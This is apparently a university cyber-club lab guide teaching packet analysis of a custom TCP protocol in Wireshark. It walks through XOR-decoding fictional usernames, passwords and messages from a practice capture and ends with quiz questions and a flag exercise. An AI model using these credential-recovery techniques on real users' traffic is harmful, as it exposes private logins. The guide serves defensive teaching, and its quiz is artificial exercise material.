&lt;p&gt;Physical: This layer defines the physical transmission of data. This would include things such as the framing of data (making sure we know where a layer 2 frame starts and stops), and translation of data from a digital signal within the equipment to an analog signal on the transmission medium, such as electrical for copper mediums or photonic on optical mediums. You will not analyze a layer 1 protocol, as they are not seen in a packet analysis software; however, it is important to keep in mind that this physical layer does exist, and it is very important.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Which protocols are beneath this protocol?&lt;/strong&gt; This question is being asked to help us understand the full scope of the packet we are dissecting. When you are dissecting a custom network protocol, there are not any packet analysis tools that can identify it, that is until you write a dissector for it. So we are going to need to find some sort of pattern that can help us identify the traffic we are looking for. For example, if we are looking at a layer 7 protocol, we should be asking: What is this protocol using at the network layer (most likely TCP or UDP, which port is the protocol using)? Is this protocol using IPv4 or IPv6 (could we use these addresses to help identify the hosts using the custom protocol)? The layer 2 protocol is almost always going to be Ethernet and will not provide us a whole lot of information other than the hosts that are communicating using this protocol. The reason the hosts and port numbers will be important is in narrowing down our scope. If we are looking at a packet capture, there could be a lot of data, so the more we can zero in on our desired traffic the better. This will help us a lot when trying to figure out all the data that was transmitted over this protocol.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which protocols are above this protocol?&lt;/strong&gt; This will relate quite closely to the previous question, we are trying to narrow down our search. Although, if we are dealing with a protocol that is under layer 7, analysis will be much more difficult, as we will not be able to narrow down our search as easily. Most upper level protocols such as TCP and UDP, really only work with IP traffic. Therefore, if we are dealing with something like a custom layer 2 or 3 protocol, we might be dealing with a fully custom network stack. In this situation, we would likely be writing a full packet dissection tool to make our job easier.&lt;/p&gt;
&lt;h3 id="lab-setup"&gt;Lab Setup&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Machines: Two host machines (any Linux OS would work) running ProfCom Client, One server machine (any Linux OS would work) running ProfCom Server, Three routers (this setup emulates a main office, branch office, and the internet) all three configured to live in different subnets.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tools: TCPDump, Wireshark, IDA&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lab-guide"&gt;Lab Guide&lt;/h2&gt;
&lt;h3 id="preliminary-research"&gt;Preliminary Research&lt;/h3&gt;
&lt;p&gt;Before we begin, we should read the protocol specification to answer the four questions we defined to begin this lab: &lt;a href="https://weber-cyber-club.github.io/extradocs/profcom/profcom-protocol-specification/"&gt;Protocol Specification&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Endianess/Byte Order:&lt;/strong&gt; According to our protocol specification, this data will be listed in Little-Endian format. There are a few ways we could have found this, albeit, without the help of the specification. Once we start to look at the data, we will notice all integers are listed without a bunch of preliminary zeros. The strings these integers are referencing are also not very large strings, so we can assume we are starting with our least significant bit, not the most significant bit. Little-endian will also read in a way that makes sense to read in English; although, if you&amp;rsquo;re used to reading binary, it might not make sense at first, as bits are read from most to least significant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which layer does the protocol reside at?&lt;/strong&gt; Based on our protocol specification, we are likely dealing with an application layer protocol. The specification says it uses TCP port 8080, this would lead us to believe it will be above layer 4, we already know anything above layer 4 can safely be considered application layer when talking about packet analysis, especially seeing that we are not talking about an encryption protocol here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which layers are above and below the protocol?&lt;/strong&gt; Seeing this is an application, we cannot have any layers above the protocol. We are told in the specification that we are using TCP as our layer 4 protocol. With this information, we can also assume that we are using an IP protocol, seeing that they are the only protocols that work well with TCP. We do not currently know for sure what our layer 2 protocol is, but we have a lot of information already.&lt;/p&gt;
&lt;p&gt;One last thing we should keep in mind before looking at our packet capture is what data types we are working with and how big they are. This information is all referenced with the &lt;a href="https://weber-cyber-club.github.io/extradocs/profcom/profcom-protocol-specification/"&gt;ProfCom Protocol Specification&lt;/a&gt;. We can see we will deal with Integers, Booleans, and Strings (Chars). The integers are listed as being 4 byte integers, a boolean is going to be a single byte, and the strings will be whichever size is specified by the integer listed prior to the string. All data will be listed in hexadecimal format. This is why a boolean is listed as a whole byte instead of a single bit; although, you could definitely list a boolean as a single bit.&lt;/p&gt;
&lt;h3 id="getting-into-the-analysis-of-the-protocol"&gt;Getting into the Analysis of the Protocol&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Obtaining the PCAP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We are going to be doing analysis of the &lt;a href="https://weber-cyber-club.github.io/assets/profcom/Profcom.pcap"&gt;Profcom.pcap&lt;/a&gt; file which should be in the /Some/Directory/Club-Challenges/Labs/Profcom/ directory as long as you have cloned this repository to your computer. If you have not, you can also download the file here &lt;a href="https://weber-cyber-club.github.io/assets/profcom/Profcom.pcap"&gt;Profcom.pcap&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Opening the File&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now that we have our PCAP, let&amp;rsquo;s open it in Wireshark. If you do not already have Wireshark installed &lt;a href="https://www.wireshark.org/download.html"&gt;here&lt;/a&gt; is a link to the installers for Windows. To install, just download the installer for your system, and follow the instructions in the installer. To install Wireshark in a Debian based distribution such as Kali or Ubuntu, run the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Update your repository listings
$ sudo apt update
# Install Wireshark
$ sudo apt install wireshark
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are installing wireshark on another distribution that is not debian based, attempt to install Wireshark with your distributions package manager. If you are needing assistance the &lt;a href="https://www.wireshark.org/"&gt;Wireshark Website&lt;/a&gt; has a lot of documentation to assist you.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s open Wireshark:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/wiresharkhome.png" alt="Wireshark Homepage"&gt;&lt;/p&gt;
&lt;p&gt;We are going to go to File &amp;gt; Open, and navigate to where your Profcom.pcap file has been stored.&lt;/p&gt;
&lt;p&gt;This is what we should see when we first open our file it can seem like a lot to analyze, but we are going to narrow it down a bit to make it easier.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/profcominitial.png" alt="Profcom Initial Open"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&amp;rsquo;s add our first filter:&lt;/strong&gt; According to our protocol specification, we are dealing with a TCP based protocol operating on port 8080. Now, in some situations, we might end up with HTTP traffic mixed in with the traffic we are looking for. This is because sometimes people will use 8080 for a web server. We will not need to contend with this issue in our situation. The syntax of this filter will be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcp.port == 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After applying this filter, we are seeing a big change in the amount of traffic we have to deal with. If we look in the bottom right of the screen, we can see the answer to our first question, we see the total packets in the file listed as 2338, while we are currently displaying 78 packets. This is because we have filtered to only see traffic running on port 8080, as stated previously this would be all our ProfCom packets.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/packetsdisplayed.png" alt="Packets Displayed"&gt;&lt;/p&gt;
&lt;p&gt;To make this analysis as easy as possible for us, we are going to break this analysis up into the individual TCP streams (a conversation over TCP). Doing this in Wireshark, we will see all of our data from a given stream all in one window. To do this we will click the first packet–in the top bar we will go to Analyze &amp;gt; Follow &amp;gt; TCP Stream. The result of this operation should give you the following window:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/stream1.png" alt="TCP Steam 1"&gt;&lt;/p&gt;
&lt;p&gt;One last thing we want to do before analyzing this file is change which format is being displayed. Right now, Wireshark is showing us an ASCII representation, which is great, when all of our data is human readable. However, in this case, it is not! We are going to change from ASCII to RAW. In order to do this, we will go to the &amp;ldquo;Show As&amp;rdquo; list, and change from ASCII to RAW. This will show all of our data as raw hexadecimal bytes.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/rawformat.png" alt="RAW Format"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Analyzing RAW Packets&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now that we are viewing our first TCP conversation, let&amp;rsquo;s attempt some analysis. Our protocol specification stated that the very first bit of data should be the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Client -&amp;gt; Server
Login Process:
Integer Length of Username
Char Username
Integer Length of Password
Char Password
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another nice aspect of Wireshark is its ability to colorize these conversations for us. The key states that everything colored &lt;span style="color:red"&gt;red&lt;/span&gt; is the client, everything colored &lt;span style="color:lightblue"&gt;blue&lt;/span&gt; is the server. We are starting with the client sending to the server, so we are looking for our first &lt;span style="color:red"&gt;red&lt;/span&gt; segment of bytes. This segment would be:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0a000000
5269636b79426f626279160000000c231c2a30042c2b31032c3736311c2a303709243631
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&amp;rsquo;s break this down piece by piece, starting with our first portion of the conversation, an integer that will show the length of the username. An integer is 4 bytes, and we haven&amp;rsquo;t looked at any bytes yet so we&amp;rsquo;ll start at offset 0 (or 0 bytes from the start of the file). Now, remember, one hexadecimal character is 4 bits; therefore, we need two to represent a byte, so really, we&amp;rsquo;re grabbing the first 8 characters here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0a000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remembering that this is in little-endian format, we are looking at the hexadecimal representation of the decimal number 10. This means the next 10 bytes are the username. So, if we do a little math, we could say:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Seek to next offset = Initial Offset (0) + Length of Current Piece of Data (Integer = 4) + Length of next piece of data (10)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We know we have currently read up to offset 4, because we went from offset 0 and read 4 bytes. Based on our math, we need to read to offset 14. Everything between offset 4 and 14 is our data.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Offset 0 | 0a000000 | Offset 4 | 5269636b79426f626279 | Offset 14 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we know the segment of data we are dealing with, we can convert this hexadecimal to readable text. We are dealing with characters, so we do not need to worry about endianness. We are just converting each byte to its corresponding ASCII character. One of the easiest ways to do this is using &lt;a href="https://cyberchef.org/"&gt;cyberchef.org&lt;/a&gt;. If you follow the previous link, you will be brought to their page. We are going to look for a way to convert from hexadecimal to ASCII. By default, all the conversions from functions just convert whatever the input data type is to human-readable ASCII form, so in the search bar, let&amp;rsquo;s lookup hex.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/hex.png" alt="hex"&gt;&lt;/p&gt;
&lt;p&gt;Double click &amp;ldquo;From Hex&amp;rdquo; and it should be added to your recipe.&lt;/p&gt;
&lt;p&gt;Now that we have a recipe created, we can add our hexadecimal text into the input box, and we should be given an output that is clear, human-readable text.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/output1.png" alt="Ouput 1"&gt;&lt;/p&gt;
&lt;p&gt;We see, based on this conversion, our first username that was sent is &lt;strong&gt;RickyBobby&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Our last piece of data went to offset 14, and based on our specification, we are reading an integer now, so we will read from offset 14 + 4 bytes ending at offset 18:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Offset 0 | 0a000000 | Offset 4 | 5269636b79426f626279 | Offset 14 | 16000000 | Offset 18 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see this is hexadecimal number 16. Now, remember, this is hexadecimal not decimal. In binary this would be 00010110, meaning we have a one in the 2s, 4s, and 16s place. Adding these values together, we get 22. Using our equation from earlier, we are seeking from offset 18 to 40. According to the specification, this will be our user&amp;rsquo;s password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Offset 0 | 0a000000 | Offset 4 | 5269636b79426f626279 | Offset 14 | 16000000
| Offset 18 | 0c231c2a30042c2b31032c3736311c2a303709243631 | Offset 40 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Plugging this into the previously used &amp;ldquo;From Hex&amp;rdquo; function, we are going to see something strange–our data seems to have been corrupted!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/corrupted.png" alt="Corruption"&gt;&lt;/p&gt;
&lt;p&gt;We need to remember the protocol specification references an XOR key that was used to &amp;ldquo;encrypt the data&amp;rdquo;. If you would like to learn more about XORs, &lt;a href="https://en.wikipedia.org/wiki/XOR_gate"&gt;here&lt;/a&gt; is a link to read more about them. I will not cover them in this lab, as this is more of a lab on protocols not ciphering. The XOR that was given to us is the key 0x45, which means the binary we are doing an XOR operation over is 0100 0101. The decryption process would look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Take the first byte of the password and convert it to binary:
0C = 0000 1100
Put the mask (key) above the byte we are converting:
0100 0101
0000 1100
Complete an &amp;#34;Exclusive OR&amp;#34; operation on the byte
(if the bit on top is 1 and the bottom is 0 (different), return 1)
(if the bit on top is 0 and the bottom is 1 (different), return 1)
(if the bit on both the top and bottom is 1 or 0 (the same), return 0)
0100 0101
0000 1100
0100 1001
Convert back to hex
0100 1001 = 49
Convert from hex to ASCII
0x49 = I
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a very tough operation to do by hand for 22 different bytes, so thankfully, we can use Cyberchef to do this operation.&lt;/p&gt;
&lt;p&gt;We are going to create a recipe to undo this XOR cipher. We already have something like a pseudocode representation above. Thankfully, a lot of these conversions are unneeded in Cyberchef. We are only going to need to go &amp;ldquo;From Hex&amp;rdquo; and do an &amp;ldquo;XOR&amp;rdquo; operation using hex key value 45.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/xor.png" alt="xorrecipe"&gt;&lt;/p&gt;
&lt;p&gt;Now that we have our recipe built, we can plug in our entire password from the PCAP, and we should get our plaintext password.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0c231c2a30042c2b31032c3736311c2a303709243631 = IfYouAintFirstYourLast
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Hopefully this shows you why using an XOR cipher is just a trivial form of protection. If this was a production protocol, we should be using something like TLS to protect something as sensitive as an authentication process!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Moving on in our analysis, we see our first server message, which during authentication, should just be a one byte boolean (either 01 for true or 00 for false), stating if we have successfully logged in. This would be from offset 40 to 41.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Offset 0 | 0a000000 | Offset 4 | 5269636b79426f626279 | Offset 14 | 16000000 | Offset 18 |
0c231c2a30042c2b31032c3736311c2a303709243631 | Offset 40 | 00 | Offset 41 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see 00 here, meaning the client did not successfully authenticate. Therefore, the client should be attempting another authentication after this. We do see more traffic, so obviously, the client is going to try again.&lt;/p&gt;
&lt;p&gt;Please begin attempting to solve the rest of the analysis for this TCP stream. The results of the analysis are below this message:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Username Length: 10
Username: RickyBobby
Password Length: 21
Password: MyPasswordIsntWorking
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We see that the server responds with 00 at the end of this authentication, and then the client disconnects, meaning this is not one of our successfully authenticated users.&lt;/p&gt;
&lt;p&gt;In the bottom right corner, we will click the up arrow next to the stream number, and go to TCP stream number 2:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/stream2.png" alt="TCP Stream 2"&gt;&lt;/p&gt;
&lt;p&gt;Looking at Stream 2 we already have a very promising sign–we can see the server has responded with a 01, meaning there is a successful authentication within this stream. We can already see that this will be in the second authentication attempt. However, we can analyze attempt number one for some extra practice:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Username Length: 10
Username: ProfessorX
Password Length: 12
Password: 94GreenRocks
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The response from the server on this attempt is 00, meaning this was unsuccessful. However, whatever is transmitted next seems to be a success. Let&amp;rsquo;s do this analysis and see what the successful credentials are.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Username Length: 10
Username: ProfessorX
Password Length: 13
Password: 99redballoons
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This tells us the first user to sign in is &lt;strong&gt;ProfessorX&lt;/strong&gt; with a password of 99redballoons. Now that you have dissected the authentication of two different TCP streams, hopefully you are now fully aware of the dangers of XOR ciphers but more importantly the dangers of believing in security through obscurity.&lt;/p&gt;
&lt;p&gt;We can now see a portion of the protocol flow we have not seen yet. The client has successfully authenticated and is now on to the communication portion of this protocol. The client is preparing to send some messages. Here is a reminder of what the packets will look like for data transfer:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Client -&amp;gt; Server
Integer Number of Messages to Send
Client -&amp;gt; Server
Integer Length of Message
Char Data
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this new model in mind, we are going to dissect these packets in the same way that we did earlier. We are going to find our offsets, seek from offset to offset till we have all our segments pulled out, then we will analyze the data within these segments.&lt;/p&gt;
&lt;p&gt;The very first message is just one integer being sent from client to server. This is on its own line in Wireshark, but it is from offset 63 to 67.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| Offset 63 | 02000000 | Offset 67 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;02, in hexadecimal, represents 2 in decimal, so we are going to be expecting 2 messages to be transmitted following that transmission. The next piece of data we will be looking at starts on the line below this or Offset 67. We are looking at an integer, so we know we will read the next 4 bytes. So, from the end of the 67th byte, we will read 4 bytes bringing us to the 71st byte in the stream.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| Offset 63 | 02000000 | Offset 67 | 17000000 | Offset 71 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The data at this position is 17 which converts to 23 in decimal. Now we know our first message will be 23 bytes in length.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s look at our offsets, and find what data we are dealing with at this point. We know we ended at Offset 71, so we are going to look 23 bytes from byte 71 giving us offset 94:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| Offset 63 | 02000000 | Offset 67 | 17000000 | Offset 71 |
4f082c36362c2a2b652c3665222a2c2b22653220292964 | Offset 94 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The segment we are working with now is 4f082c36362c2a2b652c3665222a2c2b22653220292964. If we try to change this from hex to ASCII, we will run into the same corrupted look that we ran into earlier trying to look at a password. So, remember to run this through and XOR operation in order to get the plain text message from &lt;strong&gt;ProfessorX&lt;/strong&gt;. After decoding the message we get:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Mission is going well!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;According to our file specification, and the fact we are supposed to be receiving two messages in this transmission, we know we should be expecting an integer next–this would be between offsets 94 and 98.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| Offset 63 | 02000000 | Offset 67 | 17000000 | Offset 71 |
4f082c36362c2a2b652c3665222a2c2b22653220292964 | Offset 94 | 30000000
| Offset 98 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;30, in decimal, is 48, meaning we are going to read the next and final 48 bytes, all the way to offset 146 of this stream. Then, we will XOR decode the final message from &lt;strong&gt;ProfessorX&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| Offset 63 | 02000000 | Offset 67 | 17000000 | Offset 71 |
4f082c36362c2a2b652c3665222a2c2b22653220292964 | Offset 94 |
30000000 | Offset 98 | 4f0432242c316523292422652120292c3320373c6523372a2865312d206504292965042820372c26242b65022c37296b
| Offset 146 |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After decoding the message, we can see that &lt;strong&gt;ProfessorX&lt;/strong&gt; sent this to the server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Await flag delivery from the All American Girl.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this case we must be looking for another user that has something to do with the name &lt;strong&gt;&amp;ldquo;All American Girl&amp;rdquo;&lt;/strong&gt;. She should be sending a flag, which sounds like very useful information.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s move on to Stream 3, hopefully this stream will net us some useful information.&lt;/p&gt;
&lt;p&gt;Clicking into stream 3 using the same TCP stream selector, we see this stream will also include a successful authentication. It also seems to only have one authentication. We do not have any unnecessary analysis to do here; we will need to dissect everything in this stream.&lt;/p&gt;
&lt;p&gt;We should begin by finding who our user is and what their password is. We have done this many times, so I will just leave the answers under this message. Remember for further practice, please still attempt to dissect this stream in its entirety.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Username Length: 15
Username: AllAmericanGirl
Password Length: 7
Password: Vein.fm
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, looking to the data transfer section of this file, we see we will be sending two messages again, shown by the next integer that is sent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;02000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is followed by the length of the first message which is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hex = 27000000
Decimal = 39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the first message which is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hex = 4f04292965042820372c26242b65022c3729652d2436652a2731242c2b20216524652329242264
ASCII = All American Girl has obtained a flag!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have one last integer to look at which is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hex = 0e000000
Decimal = 14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is followed by a final message from &lt;strong&gt;All American Girl&lt;/strong&gt;, which is the flag. If you have followed along, this will be your knowledge check to ensure you have grasped this topic. I will only share this answer in the &lt;a href="https://weber-cyber-club.github.io/extradocs/profcom/profcom-answer/"&gt;answers files&lt;/a&gt; of this lab. Please attempt to decrypt the flag before viewing the answer!&lt;/p&gt;
&lt;p&gt;If you would like an extra practice problem you can attempt stream 4; although, this is an unsuccessful login attempt.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Username Length: 13
Username: FredFlinstone
Password Length: 16
Password: YabbaDabbaDooooo
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Getting Additional Information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While it is always nice to have all of this data about these users, we should really try to narrow down where this data is coming from. At the very least we could get a MAC address, or an IP address, that could tell us a little more about these users.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s start by looking at our first successful authentication–this is for the &lt;strong&gt;ProfessorX&lt;/strong&gt; user. This is going to be under TCP stream 2. While inside of the “Follow TCP stream” window, let&amp;rsquo;s click on any of the data shown in &lt;span style="color:red"&gt;red&lt;/span&gt;. You might be able to see Wireshark will actually jump to wherever that traffic is actually sent within the packet capture. Within the successful login section of this stream, I clicked on the 0a000000 section, and it took me to frame 652.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/professor652.png" alt="Professor 652"&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s do a deeper dive into this file to hopefully extract some information. We should keep in mind that we are looking at the client traffic right now, meaning the source addresses will be from the client, and the destination addresses will be for the server. If we had clicked the server or &lt;span style="color:blue"&gt;blue&lt;/span&gt; traffic, we would see source addresses that would belong to the server and destination addresses that belong to the clients. We can close the &amp;ldquo;Follow TCP Stream&amp;rdquo; window and make the window on the bottom of the screen larger. We will not dig too deep into these layers right now. But it is important to note, these are in order of how they appear in the OSI model. Feel free to play around with these layers on your own–try to see what all the fields are for each layer. We are going to take a closer look at this window on the bottom of the screen:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/addressing.png" alt="Addressing"&gt;&lt;/p&gt;
&lt;p&gt;We can see all our addressing information here–you can either just look at these layers as they appear already, or you can expand them to see the values displayed differently. However, for this example, I will not be expanding these layers. We can see at layer 2, we have two MAC addresses: we have a source (the client) 00:24:97:c4:8e:a0 and a destination (the server) 00:0c:29:af:04:49. Moving up to layer 3, we have our IP addresses, we have a source (the client) 34.0.0.11, and a destination (the server) 10.0.10.2. Finally, we will move to layer 4 here we aren&amp;rsquo;t dealing with addresses but ports: our source port (the client) 47240 and a destination port (the server) 8080.&lt;/p&gt;
&lt;p&gt;If we do this same process for the authentication that comes from the &lt;strong&gt;All American Girl&lt;/strong&gt;, we find the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Source MAC Address: 00:24:97:c4:8e:a0
Destination MAC Address: 00:0c:29:af:04:49
Source IP Address: 35.0.0.53
Destination IP Address: 10.0.10.2
Source Port: 42614
Destination Port: 8080
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="questions"&gt;Questions:&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;How many ProfCom Packets were sent in this packet capture?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What are the usernames of the users who successfully log in?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What password is used to successfully authenticate the 2nd user?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 4:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What IP address did the 1st user successfully authenticate from?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 5:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What is the IP address of the server?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 6:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;How many messages were sent by the 2nd user that successfully authenticated?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 7:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;What is the flag that was transferred by the protocol?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Question 8:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Where was this capture completed based on the diagram?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/profcom/ProfComLabLayout.png" alt="ProfCom Lab Layout"&gt;&lt;/p&gt;
&lt;h2 id="answers"&gt;Answers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The answers to the questions asked within this lab are contained within the &lt;a href="https://weber-cyber-club.github.io/extradocs/profcom/profcom-answer/"&gt;Profos-Systems Communications Lab Answer File&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Throughout this lab, you have hopefully learned many new things in the world of packet analysis, more specifically dissecting a custom networking protocol. In all, you have learned how to read a protocol specification. While this one is quite simple, you now have the foundation to read any kind of protocol specification. You have also learned what the different layers of the OSI model are, what they do, and how they work together to provide end-to-end communication. You touched on file offsets, both how to use them to segment data for analysis, and how to find an offset. We looked into the concept of security through obscurity, seeing first-hand why this is such an inadequate security measure. Finally, you got to use Wireshark&amp;rsquo;s built-in analysis tools to find information such as source and destination address, from layer 2 up to layer 4. Hopefully this has been a very informative lab for you. If you would like an extra challenge, attempt to reverse engineer the &lt;a href="https://weber-cyber-club.github.io/assets/profcom/ProfComClient"&gt;ProfComClient&lt;/a&gt; file that is within this directory. Try to find the XOR key that is used for encryption, or try to find the actual IP address that the clients used to access the ProfComServer. If you would like to learn more about protocol analysis &lt;a href="https://www.wireshark.org"&gt;Wireshark&lt;/a&gt; has many resources, all of which teach you very valuable lessons in packet analysis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Until Next Time!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Professor&lt;/strong&gt;&lt;/p&gt;</content></item></channel></rss>